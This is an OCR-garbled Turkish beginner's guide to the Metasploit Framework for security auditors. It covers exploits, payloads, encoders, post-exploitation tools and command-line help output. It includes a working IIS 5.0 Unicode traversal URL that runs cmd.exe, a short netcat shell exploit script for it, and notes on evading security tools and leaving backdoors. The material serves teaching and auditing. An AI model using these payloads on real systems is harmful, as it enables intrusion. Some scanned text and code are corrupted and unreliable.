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Metasploit Framework, farkli dillerde yazilan ve sadece kisitli komutlar galistirmak igin
hazirlanmis exploit'lerden, denetimlerde kullanilabilecek Uran seviyesinde exploit'lere
gegiste onemli bir adim olmustur. Tek bir bigimde hazirlanmis exploitler ve
Ozellegtirilebilen kabuk kodlari, gok sayida farkli igletim sistemi destedi ile kullanimi yillar
icinde artmistir. Denetmenler, sistem yoneticileri ve arastirmacilar birgok farkli amag igin
kullanmaya baslamistir; sistem denetimi, yama seviyesi ve kalite testi, yeni guvenlik
aciklari geligtirme ve exploit hazirlama, en ciddi kullanim alanlaridir.

Metasploit Framework, 2003 yilinda gelistiriimeye baslanmig, yayinlanmis exploit’leri
belirli bir duzen icinde kullanarak guvenlik denetimini kolaylastirmayi hedefleyen agik
kaynakh bir platformdur. Kisa sure iginde ¢ok sayida yayinlanmig exploit'i anlagilir ve
kullanilir yapmanin yanisira, ek araglar ile saldiri 6zellestirmeyi ve sistem ele gegirmeyi
daha etkili kilmigtir. Java temelli grafik araylzu ile gorsel arabirim sunmaktadir; ancak
gorsel arabirimde tum ozelliklerin kullanilabilir olmamasindan dolayi kullanimi nispeten
zordur. Komut satirindan kullanimi bir stre sonra islemleri otomatize etmek igin ideal
olmaktadir. Exploit islemi ve sonrasinda kullanilan iletisim i¢in kodlama arabirimleri,
Meterpreter ile hedef sistemin ele gegcirildiginde buylk oélglde iz birakmadan istenilen
islemlerin yapilabilmesi, Meterpreter araci, entegre VNC moduli ve 200'Un Uzerinde
exploit sonrasi araci en ciddi artilandir.

Guncel Metasploit Framewok surimu 1000'in Gzerinde exploit, 250'nin Uzerinde kabuk
kodu, 500'Un Uzerinde yardimci modul icermektedir. Windows, Linux, MacOS X ve bazi
mobil isletim sistemlerinde calisabilmektedir. Grafik arabirim kullanimi icin bagimsiz
olarak gelistirilen Armitage isimli bir Java grafik araylz araci da bulunmaktadir. Ticari
alternatiflerinden ciddi eksikleri bulunmamakta, hatta genel exploit yayinlama
sureclerinde standart olma yolunda ilerlemektedir.
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1 Terminoloji ve Temel Bilgiler

1.1 Exploit

Bir guvenlik aciginin kullanilabilmesi icin teknik acgiklama gereklidir, ancak birgok
guvenlik duyurusu sadece guvenlik agigr hakkinda 6zet bilgi barindirmakta ve yama
sunmaktadir. Guvenlik aciklarinin kullanimi ve sonuglari hakkindaki bilgiler genellikle
acigi bulan kisi tarafindan veya ters muhendislik yontemi ile kesfedilir. Agigin kullanimini
ifade eden ydntem ve araclara exploit ismi verilmektedir. Exploit'ler glvenlik agigini
bulan, duyuran veya ters muhendislik yontemi ile detay veriimeyen acgigin kullanim
yontemlerini kesfeden kisilerce hazirlanmaktadir. Amacg guvenlik agigininin tasidigi riski
pratik olarak gostermek ve calisan sistemlerin guvenlik ac¢igini  barindirdiginin
dogrulanmasidir.

Exploitler genellikle o6zensiz ve uygulamanin sadece belirli bir sUrimud igin
hazirlanmaktadir, ¢linku yazarlar sadece pratikte agigin nasil kullanildigini ifade etmek
icin exploitleri hazirlamaktadir. Bu sebepten exploit’i kullanirken hedef sistem igin gecerli
oldugu, standart disi bir kurulum varsa degisikligin exploit'te tanimli oldugu ve bir saldiri
tespit sistemi tarafindan sonuglarin engellenmedigi kontrol edilmelidir. Aksi durumda
exploit islevsiz olacak, glivenlik agigini kontrol edemeyecek farkli sonuglar tretecektir.

Exploitler kaynak kodlari acik bicimde hazirlanmig programciklardan veya kullanim
yontemlerinden olugsmaktadir. Kapali kodla veya calistirilabilir bir programla dagitilan
exploit ise ancak ters muhendislik yontemleri ile ¢ozumlenebilir, agigin kullanimi igin
yeniden gecerli ve kararli bir exploit yazilmasini gerektirebilir. Exploit'lerin kaynak
kodunun agik olmasinin sebebi agigin testi yapilirken exploit yazari tarafindan art niyetli
bir kodun sisteme bulasmasini onlemektir. Kaynak kodu acgik olan exploit'ler analiz
edilerek, acigin kullanimi hakkinda bilgi sahibi olunabilir ve farkli hedeflere gore
Ozellestirilebilir. Glvenlik denetim yazilimlari exploit'leri analiz ederek genel glvenlik
denetimleri olusturmakta ve guvenlik agiklarini otomatize olarak denetlemektedir.

Microsoft IIS 5.0 igin Exploit Ornegi :

Microsoft [IS 5.0 web sunucusu bir dizin digina ¢ikabilme agigindan etkilenmektedir,
isteklerin Unicode olarak godnderilmesi durumunda “/” isaretinin yanhs algilanmasi
sonucu ust dizine gikilabilmesine izin vermektedir. Agigin exploit’i igin 6zel bir programa
gerek bulunmamaktadir, Internet Explorer ile de kolayca kullanilabilmektedir.

GamaSEC Bilgi Guvenligi Denetim ve Danigsmanlik Servisleri Sayfa 9




Metasploit Framework - Giris Seviyesi Denetmen Rehberi Ocak 2013

Guvenlik Acigi Hakkinda Ek Bilgiler
e Guncelleme ve Uygulama PlatfoBugtrag 1806 — www.securityfocus.com/bid/1806/

e Microsoft (MS00-078): Patch Available for "Web Server Folder Traversal"
Vulnerability - http://www.securityfocus.com/advisories/2777

Ornek : http://192.168.1.102/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir

Cikti :

; http://192.168.1.102/ scripts/..A " ../winnt/system32 /crnd.exe? /c+dir

Dosya Dizen Gordndm Sk Eullandanlar  Araclar Yardim

Qe - Q- ¥ 2] &

Adres @ htkp: /192,168, 1,102 scripks),  ec0%af,  Jwinnklsystemn32 fomd, exe? o+

— n .
P I ira ‘-E‘;;f” Sik. Kullarulanlar @f

cihinetpubhscripts dizini

28.058.2005 23:15 <DIR=
28.058.2005 23:15 <DIR= .-
0 Dosya 0 bhayt
2 Di=in 3.231.309.824 bayt bog

Microsoft IIS 5.0 Dizin Digina Cikabilme Agigi — Tarayici Uzerinden Kullanim
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1.2 Exploit Hazirlama

Exploit hazirlamak herseyden oOnce guvenlik agiginin tam olarak anlagilabilmesini
gerektirmektedir. Yayinlanmig exploit’lerin istenen iglemleri yapamadigi durumlarda veya
istenen platformda calismadidi durumlarda gerekli olmaktadir. Exploit hazirlamak icin en
azindan kabuk programlama veya bir programlama dilini bilmek gerekmektedir, bazi
glvenlik agiklarini (6zellikle bellek tagsmalari) kullanmak igin ise tasinacak veriyi
belirlemek icin Ust dlizey programlama bilgisi gerekmektedir.

Yayinlanan bazi glvenlik agiklarinda, uygulamanin kaynak kodlarinin agik olmasi
nedeniyle guvenlik agigini olusturan bolumud incelemek mumkin olmaktadir. Kapali
kaynak kodlu uygulamalarda, 6zellikle guvenlik acigini yayimlayan kisi dogrudan uretici
firmaya bilgi verdiyse, sadece Ozet bilgi veren guvenlik duyurulari ile yetinmek
gerekmektedir. Boyle durumlarda ters muhendislik ile guvenlik acigi incelenmeli ve
guvenlik agiginin olustugu durum analiz edilerek nasil kullanildi§i belirlenmelidir. Cok
saylda platformda galisan uygulamalar s6z konusu oldugunda exploit hazirlamak daha
da zorlasmaktadir. Glvenlik agigini olusturan bolum her platformda farkli yorumlandigi
gibi kabuk kodu 6zel olarak o platform i¢in hazirlanmalidir.

Exploit Yasam Cevrimi

Guvenlik
Aciginin
Bulunmasi
Exploit’in 0 GUn
Ozellestirilebilir Exploit’inin

Hale Gelmesi Hazirlanmasi

Geqe’! Guvenlik
Exploit'in Aciginin
Yayimlanmasi Duyurulmasi

Exploit’in Teknik Analiz ve
Hazirlanmasi Cozimleme
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Yayinlammis exploit'ler analiz edilerek exploit'in platform farki gdézetmeyen bdlumleri
kayit edilmeli, sonrasinda fark olusturan bolim igin uygulama incelenerek platform
farkhliginin sonucuna goére ilgili bolim degistiriimelidir. Guvenlik agigininin exploit’i ilk
defa yazilacak ise platform farklihgi gdozeten bolime kadari agiklama ile belirtiimelidir.
Boylece daha sonra kodun geligtirimesi gerekirse ilgili bolum kolayca
Ozellestirilebilecektir.

Microsoft IIS 5.0 i¢in Bugtraq 1806 numarali guvenlik agigini kullanabilmek igin basit bir
exploit kodu hazirlanabilir. Asagida bu amagla hazirlanmig basit kabuk programi
gorilmektedir. Kabuk programi “Bourne Shell” icin hazirlanmistir ve “netcat’i hedef
sisteme baglanirken kullanmaktadir. Exploit'in amaci sadece nasil exploit yazilacagini
gOstermektir. Farkli programlama dilleri ile farkli amacglar igin daha &6zel exploitler
hazirlanabilir.

Guvenlik Acigl Hakkinda Ek Bilgiler

e Bugtrag 1806 — www.securityfocus.com/bid/1806/

e Microsoft (MS00-078): Patch Available for "Web Server Folder Traversal"
Vulnerability - http://www.securityfocus.com/advisories/2777

Exploit :

#!/bin/sh

#Yardim goruntuleme

if [ "-h" =$1]

then

#Kullanim : exploit IP_Adresi Port Gonderilecek_Komut
echo "exploit IP_Adresi Port Gonderilecek_Komut" ; exit
fi

#Degiskenleri Tanimlama

IP=$1

PORT=$2

CMD=$3

#Acigl Olusturan Girdi
URL="/scripts/..%c0%af../winnt/system32/cmd.exe?/c+"
#Parametrelerin Hazirlanmasi

echo "GET $SURLSCMD HTTP/1.0" > komut

echo "" >> komut

#Girdinin Gonderilmesi

cat komut | nc $IP $PORT

Microsoft 1IS 5.0 Dizin Digina Cikabilme A¢igi — Exploit Yazilmasi
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Kullanim :

# sh exploit.sh 192.168.1.102 80 dir

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Sun, 28 Jan 2009 21:05:51 GMT
Content-Type: application/octet-stream
C slirdclisindeki birimin etiketi yok.
Birim Seri Numarasy: EC15-B515

c:\inetpub\scripts dizini

28.08.2005 23:15 <DIR>
28.08.2005 23:15 <DIR> ..
0 Dosya 0 bayt

2 Dizin 3.232.366.592 bayt bo

Microsoft 1IS 5.0 Dizin Disina Cikabilme A¢igi — Exploit Kullanimi

Ornegin sadeligini koruma amaciyla; hedefin sanal sunucuda olmasi, alan adi farki,
acigin farkli kodlama dilleri ile kullanimi veya saldiri dnleme sistemi atlatma i¢in 6zel bir
duzenlemeye gidilmemigtir.

1.3 Exploit Framework Kavrami

Guvenlik agiklarini kullanabilmek igin hazirlanan exploit’lerin eksiklikleri yukarida ifade
edilmigti, bu nedenle 6zel bir galisma ortami hazirlanarak exploit’lerin standartlastiriimasi
saglanmaya calisilmis ve bu dogrultuda cgesitli Grlnler gelistirilmistir. Guvenlik agigi
analiz yazilimlari gibi sadece agigI saptamak yerine, guvenlik agiginin exploit edilmesi
ve hedef sisteme erisim saglanmasi hedeflenmektedir.

Exploit'lerin 6zel tanimlamalari, parametreleri ve 0zellikleri konusunda standartlasma
saglayarak kullanim kolayhgi getirilmistir. Boylece her exploit icin igletim sistemi turd,
uygulama surumda, iglenmesi istenen komutlar tek bir bolumde tanimlanmakta, scriptler
hazirlayarak guvenlik aciklarinin kullanilabilirligi  kontrol edilmektedir. Hazir olarak
bulunan hafiza adresleri, kabuk kodlari ve exploitler kolayca Ozellestirilerek yeni
exploit’ler de hazirlanabilmektedir.
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Exploit Framework 6rnekleri arasinda Core Security Technologies tarafindan gelistirilen
Core Impact urunu, ImmunitySec firmasi tarafindan gelistirilen Canvas Urinlu ve acgik
kaynakli olarak gelistiriien Metasploit Framework platformlari yer almaktadir. Bunlar
arasinda Core Impact Gruninin ¢ok sayida sifir gin exploit'i sunmasi, gorsel arabirimi
ve exploit kararlihginin arttirimig olmasi ile 6ne ¢ikmaktadir. Ancak Ucretsiz olmasi,
Ozgur yazihm olarak gelistiriimesi, exploit fazlahgi ve gesitliligi, 6zel amaclar igin ¢ok
saylda modul hazirlanmasi ve gunumuzde yayinlanan exploit'ler igin bir standart
olusturmus olmasi nedeniyle Metasploit Framework &6nemli bir alternatiftir.
Framework'lerin karsilastirmasinda bir diger kriter de gelistirme ortami sunma ve
yardimci araglar olacaktir. Bu noktada Metasploit Framework oldukga ileridedir ve birgok
Ozgur/ticari yazihmla da entegre galisabilmektedir.
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1.4 Metasploit Framework ve Modiilleri

1.4.1 Exploit'ler

Metasploit Framework'e gore bir exploit, givenlik acgigini istismar ederek hedef sisteme
yetkisiz erisim saglamak ve kabuk kodu calistirmak icin kullanilan moduldir. Glvenlik
acgigini istismar ettikten sonra, kullanicinin segmis oldugu gegerli bir kabuk kodu veya
uygulamayi hedef sisteme yuklemeyi ve galistirarak kullaniciya arayuz sunar.

Hedef sistemin bir servisindeki guvenlik acigini istismar etmeyen; bir sunucu gibi
calisarak hedefin kendisine baglanmasi durumunda agidi tetikleyen veya 6zel bir dosya
hazirlayarak bu dosyanin saldirgana gonderimi ile agigi tetikleyen exploitler de
bulunmaktadir. Bu tur exploit'ler guvenlik agigini tetikleyebilmek igin bir servis bileseni
gibi davranacaklari i¢in “Listener” veya “Handler” olarak aniimaktadir. Diger exploit'ler ile
sadece galisma yontemi ve seceneklerde farkliliklari gorulmektedir.

Ancak exploit'lerin tamami sisteme yetkisiz sizma ve kabuk erisimi saglama imkani
sunmayabilir. Yetkisiz dosya okuma, servisinin engellenmesi, bilgi sizdirilmasi veya i¢
yetkilerin istismari igin kullanilan agiklar, Metasploit Framework 6zelinde Exploit olarak
degil yardimci modul olarak kabul edilmektedir. Sisteme erisim ile sonlanmayan
exploit'ler, diger bolumlerde anlatildig1 Uzere 6zel amaglar i¢in kullanilabilmektedir.

Metasploit Framework icin gecerli exploit hedefleri arasinda Windows, Bsd, Linux,
Solaris gibi genel amagli igletim sistemi aileleri gibi; iPhone, iPad, Android telefonlar,
Java/PHP/Python uygulamalari, gdmula sistemler de yer almaktadir.

1.4.2 Kabuk Kodlari (Shellcode / Payload)

Kabuk Kodu, bir exploit islemi sonrasinda hedef sistemde calistiriimasi istenen kodlar
batinudir. Kabuk Kodu veya Shellcode olarak anilmasinin en dnemli sebebi, agigin
kullanimi ile hedef sistemdeki gecerli bir kabudun baslatilarak yetkisiz bicimde
kullaniciya sunulmasidir. Kabuk kodu erisimi i¢in; hedef sistemde bir portu dinleyerek
kullanicidan baglanti beklemek (Bind — port dinleme), hedef sistemden kullanicinin bir
portuna baglanti saglamak (Reverse — ters baglanti) veya dogrudan varolan kurulmus
baglanti Gzerinden iletisim secilebilir. Hedef sistemi koruyan guvenlik teknolojileri ve ag
yapisina bagl olarak baglanti yontemi secimi yapilabilmektedir.
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Metasploit Framework ile farkli kabuk kodu érnekleri ve ek uygulamalar da kullandidi icin
Payload kavramini tercih eder. Gegerli Payload'lar arasinda; degisik isletim sistemlerinde
calismak icin hazirlanmis kabuk kodlari, Perl/PHP/Java/Ruby gibi yorumlanan/iglenen
dillerde caligabilecek kabuk kodlari, VNC uygulamasi, kullanicinin kendi sec¢mis
olabilecegi bir galistirilabilir dosya ve Meterpreter isminde 6zel bir arag yer almaktadir.

1.4.3 Kodlayicilar (Encoder)

Metasploit Framework'te yer alan exploitlerin genel kullaniminin yayginligi, kodunun
aclk olmasi ve kabuk kodlarinin erigilebilir olmasi, c¢esitli guvenlik teknolojilerince
Oonlemler alinmasina neden olmaktadir. Bir diger konu ise istenen kabuk kodunun,
secilen guvenlik agiginin izin verdigi bellek alanina yuklenirken sorun olusturmasi ve
bazi karakterlerin filtreleniyor olmasi durumudur.

Her iki durumda da kabuk kodunun degistiriimesi veya donusturilmesi gerekmektedir.
Kabuk kodu veya secilen uygulamanin donuastlriimesi islemi Kodlayicilar ile
yapilmaktadir, farkli kodlama algoritmalari ile kabuk kodu donusturulir ve exploit
isleminde donulsturilen kabuk kodu hedef sisteme gdénderilir. Déonustirilen kabuk kodu
hedef sistemde bellege yuklenip ¢alistirildiginda, istenen kabuk kodu galisacak ve erisim
saglanacaktir.

Donugsum iglemi ile bir bellek korumasini veya hatasini atlatmak gerektiginde basit
kodlayicilar kullanilabilir, ancak guvenlik teknolojisi atlatma amacli ise polimorfik yani her
donustirmede farkh bir ¢ikti Greten kodlamalar tercih edilmelidir. Glvenlik teknoloijisi
atlatma ayri bir bolim olarak yer almaktadir ve kodlayicilarin farkl kullanim érnekleri ilgili
boélimde verilecektir.

1.4.4 Bilgi Toplama ve Servis Engelleme Yardimci Aracglar (Auxiliary)

Exploit islemi 6ncesinde hedef hakkinda bilgi toplama gerekmektedir, aksi takdirde hedef
sistem veya yazilimin hatali segilmesi s6zkonusu olabilir ve exploit islemi basariz olarak
hedef servisi Oldurebilir. Ayrica dogru exploit segimi ve kullanim ydéntemi de hedef
hakkinda ek bilgiye gereksinim duymaktadir.

Metasploit Framework modulleri arasinda yeralan Auxiliary kategorisinde bilgi toplama
amagl ¢ok sayida modul yer almaktadir. Port tarama, servis arastirma, guvenlik agigi
tarama, servis bilgilerinin toplanmasini saglayan araglar bu kategoride bulunmaktadir.
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Kablosuz ag, yerel ag altyapisi, SIP servisleri, veritabani sorgulama bilesenleri gibi
bircok farkli kategori altinda calismaktadirlar. Elde edilen bilgiler kullanilarak, dogru
exploit secimi ve segeneklerin dogru belirlenmesi mumkun olabilmektedir.

Auxiliary moduller arasinda bilgi toplama amacli modullerden bazilari exploit olarak ta
kullanilabilmektedir. Hedef sistemde bir yazilimda bulunan izinsiz dosya indirme acigi,
sunucu surim Dbilgilerinin  sizdiriimasi, kullanici listesinin  alinabilmesi, sistem
yapilandirma dosyasina yetkisiz erisim veya bir dosya Uzerine yazabilme tlrinde
modduller, aslinda bir guvenlik acgigini istismar ederek calisirlar. Ancak c¢alisma
sonucunda bir kabuk kodu ve yetkisiz erisim sunamadiklari igin bu kategori altinda yer
almaktadirlar.

Bir guvenlik acgigi istismar edilirken, hedef sistemde kabuk kodu c¢alistirma dncesindeki
hatali bellek adresi hesaplamasi veya hatali kabuk kodu sec¢imi, kontrolsiz bir bellek
ihlali olusturur ve servis Olebilir. Bazi durumlarda hata ayiklama yapmak ve explot'i
kararl hale getirmek amagl tercih edilebilecek bu durum, guvenlik denetimi esnasinda
servis engelleme testine donusebilir. Auxiliary moduller arasinda hentz kabuk kodu
erisimi saglayamayan exploit'ler, sadece servis engellemeye neden olan olan guvenlik
aciklarini kullanan moduller ve servis engelleme icin yapilandirma hatalarini da
kullanabilen modduller yer almaktadir. Bu tur moduller de exploit olarak anilmasina
ragmen, kabuk kodu ve yetkisiz erisim ile sonlanmadigi icin Auxiliary kategorisinde
degerlendiriimektedir.

1.4.5 Exploit islemi Sonrasi Yardimci Araglari

Metasploit Framework'in 6nemli Ozelliklerinden biri de ele gecirilen veya sizilan bir
sistem Uzerinde yapilacak islemler icin araglar sunmasidir. Bir exploit islemi her zaman
istenilen yetki seviyesinde sizma ile sonuglanmaz, bazi durumlarda siradan ve yetkisiz
bir kullanici olarak sisteme erigsim saglanabilir. Boyle bir durumda sistem igin guvenlik
zaafiyetleri kullanilarak yetki yukseltiimesi ve daha yetkili bir erisim saglanmasi gerekli
olabilir. Ayrica erigilen sistemde arka kapi birakilmasi, erisimin gizlenmesi, parolalarin
alinmasi, VNC veya RDP ile grafik araylz baglantisi gibi gereksinimler de olusabilir.
Exploit sonrasi araglari bu tur ihtiyaclari karsilamak ve yapilacak iglemleri otomatize
edebilmek igin hazirlanmiglardir.
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Sunulan exploit sonrasi araglar arasinda; sistem ic¢i aciklarin kullanimi ile yetki
yukseltilmesi, sistem parola 6zetlerinin alinmasi, exploit sonrasi erigilen sureci farkli bir
surece baglamak, sisteme VNC yuklenmesi, RDP erigimi saglanmasi, kullanici ekleme
yer almaktadir. Ayrica 6zel amaglar igin hazirlanmis ruby programciklari veya otomatize
komutlar da tercih edilebilir.

1.5 Metasploit Framework Konsol ve Komut Satiri Araglari

Metasploit Framework ¢ok sayida bilesen ve araylzden olusmaktadir; konsol temelli
etkilesimli araylze ek olarak, seri komut araylzu, RPC bagdlantisi ile harici yazilim
arayuzu, dogrudan kabuk kodu olusturma veya donugstirme araglari yer almaktadir.

Msfconsole

Metasploit Framework ile calisma esnasinda kullanilabilecek en kararl etkilesimli
arayuzdur, grafik araylzler gibi ¢ok sayida hata barindirmadigi igin sistem ele gegirme
isleminin yarida kalmasi veya istenmeyen durumlara neden olmaz. Konsolda verilecek
komutlar ve segenek ayarlamalari ile tim &zelliklere eksiksiz erisim sunmaktadir.

#.[msfconsole
Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running
wake up, Neo...
the matrix has you

follow the white rabbit.

knock, knock, Neo.

( . I
T 53"/
:I/ .
X/
NP L ._. N (
' /
’ ! Q '
s s - \
H I ! - :_'
' s ) !
N

=[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 911 exploits - 488 auxiliary - 150 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

=[ svn r15616 updated today (2012.07.11)
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Msfpaylaod

Kabuk kodu, VNC, 6zel uygulama veya Meterpreter kullanilarak Payload olusturmayi
saglamaktadir. Calistirma esnasinda verilecek parametrelerle, Payload secgeneklerini

listeler, segenekler verildigi durumda ise istenen bigcimde Payload'u Uretir.

# ./msfpayload -h

Usage: ./msfpayload [<options>] <payload> [var=val]
<[STummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ILL|[VIBA|[W]ar>

OPTIONS:
-h Help banner
-1 List available payloads
Msfencode

Kabuk kodunda kullaniimamasi gereken karakterlerin asilmasi veya guvenlik teknolojileri
atlatilmasi amaciyla, bir Payload'un kodlanmasi ve donusturilmesini saglamaktadir.

Calistirma esnasinda verilecek parametrelerle, kodlama secgeneklerini

secenekler verildigi durumda ise istenen bigimde Payload'u donusturur.

listeler,

# ./msfencode -h
Usage: ./msfencode <options>

OPTIONS:
-a <opt> The architecture to encode as
-b <opt> The list of characters to avoid: '\x00\xff'
-c <opt> The number of times to encode the data
-d <opt> Specify the directory in which to look for EXE templates
-e <opt> The encoder to use
-h Help banner
-1 <opt> Encode the contents of the supplied file path

-0 <opt> The output file

-p <opt> The platform to encode for

-s <opt> The maximum size of the encoded data
-t <opt> The output format:

bs,loop-vbs,asp,aspx,war,psh,psh-net
-V Increase verbosity
-x <opt> Specify an alternate executable template

-k Keep template working; run payload in new thread (use with -x)
-1 List available encoders

-m <opt> Specifies an additional module search path

-n Dump encoder information

raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,v
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Msfcli

Konsol arayuzunun aksine galisma esnasinda aldigi parametrelerle galigmakta, modul
segeneklerinin buyutk bolimune erigim saglamaktadir. Daha ¢ok Listener veya Handler
kullanimlari, harici bir yazihm tarafindan Metasploit Framework'Un c¢agrilmasi veya
dogrudan tek bir modulun kullanimi igin verimlidir.

# ./msfcli -h

Usage: ./msfcli <exploit_name> <option=value> [mode]
Mode Description
(A)dvanced Show available advanced options for this module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module
(H)elp You're looking at it baby!
(I)DS Evasion Show available ids evasion options for this module
(0)ptions Show available options for this module
(P)ayloads Show available payloads for this module
(S)ummary Show information about this module
(T)argets Show available targets for this exploit module

Msfrpcd

Metasploit Framework'in konsol ve seri arayuzu diginda kalan, harici yazilimlarin
entegrasyonu igin kullanilan bir servis bilesenidir. Harici grafik araylz uygulamalarinin

Metasploit

Framework'e erigebilmesi, exploit iglemleri veya yardimci

araclarin

kullanilabilmesi i¢in servis sunar. Armitage veya MsfGui gibi araylzlerin baglantisinda
sorun yasanmasl durumunda SSL destegi kapatilarak uyumluluk saglanabilir.

# ./msfrpcd -h
Usage: msfrpcd <options>

OPTIONS:

-P <opt> Specify the password to access msfrpcd
-S Disable SSL on the RPC socket

-U <opt> Specify the username to access msfrpcd
-a <opt> Bind to this IP address

-f Run the daemon in the foreground
-h Help banner
-n Disable database

-p <opt> Bind to this port instead of 55553
-u <opt> URI for Web server
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1.6 Metasploit Framework Uyumlu Grafik Arayuzler ve Araglar
Msfqui

Msfgui Java diliyle hazirlanmis bir Metasploit Framework araylzadar. Kullanim
kolayligindan ¢ok grafik araylz olmasi hedeflendigi icin sade bir tasarimi vardir. Tim
modullere erisim saglamakta, veritabani baglantisini desteklemekte, istenmesi
durumunda konsol arayuzu de agcmaktadir.

Eile Wiew Exploits Auxiliary Payloads History Post-Exploit Console Database Plugins Help

Sessions Hosts | Clients | Services lotes | Loots | Creds | Events | censeole.0

3Kom SuperHack II Logon

User Name: [ security ]

Password: [ 1

[ oK ]

=[ metasploit v4.4.0-dev [core:4.4 api:l.0]
+ -- --=[ 911 exploits - 488 auxiliary - 150 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

=[ svn rl5616 updated today (2012.07.11)

nsf = Submit

911 exploit 488 auxiliary 251 payload 150 post modules
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Armitage

Armitage de Java diliyle hazirlanmig bir Metasploit Framework araylzidur, ancak
Msfgui'nin aksine kullanim kolayhdi ve gorselligi esas aldidi igin giris seviyesindeki
kullanicilara daha rahat bir arayuz saglamaktadir. Bir cok module erisim saglamakta,
veritabani baglantisini desteklemektedir; ancak gesitli programlama sorunlari yuzinden
kararli ¢alisamamakta bazi durumlarda g¢dkebilmektedir. Bu durum sonucunda elde
edilmis yetkisiz erigsimler ve baglantilarin kaybedilmesi s6zkonusu olabilmektedir.

Armitage Wiew Hosts Attacks Workspaces Help

¥ [ awdliary
v E admin "
¥ [ http »

|| tomcat_administration
|| tomcat_utf8_traversal
v E scanner
¥ (& http
|| tomcat_enum
|| tomcat_mgr_login
v (& exploit
YE@muti || [ . S
v (& http !

— i > 0 1092
Access >
It Explore > Browse Filas
= Bivoting  k Show Processes

[ Console 4 X T Services X T Files 6 X T Processes 1 X T Console 12 X T cmd.exe 1636@6 X ] MSF Scans Key Scan
& c Kill Screenshot —
D 4| Name | Size | Modified | Mode |
ﬁ Documents and Settings 2010-02-14 22:22:02 -0500 A077 7 [ rWHNWHIWK A
= Inetpub 2010-02-14 22:16:37 -0500 AQT T 7 [ PWHIWHIWE

= Program Files 2010-10-04 10:13:32 -0400 A0555/r-Hr-xr-x
ﬁ Python2s 2010-09-29 09:43:01 -0400 A0T 7 7 /AWK WHrwe
[ﬁ System Volume Information 2010-02-14 22:21:33 -0500 AQT T 7 I rwsrwsrwx
B WINNT 2010-10-04 11:19:56 -0400 40777 Irwrrwsrwg
ﬁ lec 2010-09-29 12:38:25 -0400 A0T 77 [PWHIWHIWK
ﬁ learn 2010-10-16 20:02:11 -0400 AQT 77 IPWHIWHIWK
ﬁ srtFtplogs 2010-09-30 16:04:14 -0400 40777 [ PWHIWHIWK
AUTOEXEC.BAT ob 2010-02-14 22:17:24 -0500 10077 7/ rwKnasrne
CONFIG.5Y5 Ob 2010-02-14 22:17:24 -0500 100666/rw-rw-rw-
10.5YS ob 2010-02-14 22:17:24 -0500 100444/r--r--r--
MSDOS, SYS ob 2010-02-14 22:17:24 -0500 100444/r—r—r- X
| Upload... | | Make Directory | | Refresh | <
To direct input to this virtual machine, click inside the window. P=H Q@0 y
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2 Temel Kullanim ve Basit islemler

2.1 Temel Komutlar ve Veritabani Baglantisi

Metasploit Framework Uzerinde galismaya baslamadan once bilinmesi gereken temel
komutlar vardir. Bu komutlar ile kullanilabilir moduller listelenebilir, modul bilgileri
goériuntilenebilir, genel tanimlamalar ve yapilandirmalar yapilabilir. Boylece kullanilacak
dogru bilesenin bulunmasi ve gerekli yapilandirmalarin saglanmasi mumkun olacaktir.

Modiillerin Goriintilenmesi ve Bilgi Alinmasi

Modul géruntileme icin show komutu kullanilir; genel kullaniminda moddllerin tirleri (all,
encoders, nops, exploits, payloads, auxiliary, plugins, options) verilerek, segili bir
moduldeyken ise segenekler (advanced, evasion, targets, actions) verilerek kullanilir.

msf > show -h
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary,
plugins, options
[*] Additional module-specific parameters are: advanced, evasion, targets, actions
msf > show exploits
------ Oncesi Kesilmistir---------
windows/tftp/dlink_long_filename 2007-03-12 good D-Link
TFTP 1.0 Long Filename Buffer Overflow
windows/tftp/futuresoft_transfermode 2005-05-31 average
FutureSoft TFTP Server 2000 Transfer-Mode Overflow
windows/tftp/opentftp_error_code 2008-07-05 average
OpenTFTP SP 1.4 Error Packet Overflow
windows/tftp/quick_tftp_pro_mode 2008-03-27 good Quick
FTP Pro 2.1 Transfer-Mode Overflow
windows/tftp/tftpd32_long_filename 2002-11-19 average
TFTPD32 <= 2.21 Long Filename Buffer Overflow
windows/tftp/tftpdwin_long_filename 2006-09-21 great
TFTPDWIN v0.4.2 Long Filename Buffer Overflow
windows/tftp/tftpserver_wrq_bof 2008-03-26 normal TFTP
Server for Windows 1.4 ST WRQ Buffer Overflow
windows/tftp/threectftpsvc_long_mode 2006-11-27 great
3CTftpSvc TFTP Long Mode Buffer Overflow
windows/unicenter/cam_log_security 2005-08-22 great CA CAM
log_security() Stack Buffer Overflow (Win32)
windows/vnc/realvnc_client 2001-01-29 normal
RealVNC 3.3.7 Client Buffer Overflow
windows/vnc/ultravnc_client 2006-04-04 normal
UltraVNC 1.0.1 Client Buffer Overflow
windows/vnc/ultravnc_viewer_bof 2008-02-06 normal
UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow
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windows/vnc/winvnc_http_get 2001-01-29 average WinVNC
Web Server <= v3.3.3r7 GET Overflow
windows/vpn/safenet_ike_11 2009-06-01 average
SafeNet SoftRemote IKE Service Buffer Overflow
windows/wins/ms04_045_wins 2004-12-14 great

Microsoft WINS Service Memory Overwrite

msf > show auxiliary

spoof/dns/bailiwicked_domain 2008-07-21 normal DNS BailiWicked
Domain Attack

spoof/dns/bailiwicked_host 2008-07-21 normal DNS BailiWicked
Host Attack

spoof/dns/compare_results 2008-07-21 normal DNS Lookup Result
Comparison

spoof/nbns/nbns_response normal NetBIOS Name
Service Spoofer

spoof/replay/pcap_replay normal Pcap replay
utility

spoof /wifi/airpwn normal Airpwn TCP hijack

spoof /wifi/dnspwn normal DNSpwn DNS hijack

sqli/oracle/dbms_cdc_ipublish 2008-10-22 normal Oracle DB SQL
Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE

sqli/oracle/dbms_cdc_publish 2008-10-22 normal Oracle DB SQL
